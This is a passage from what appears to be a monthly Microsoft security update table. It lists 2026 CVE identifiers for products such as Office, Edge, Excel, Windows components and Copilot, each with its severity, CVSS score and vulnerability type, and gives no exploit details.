No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  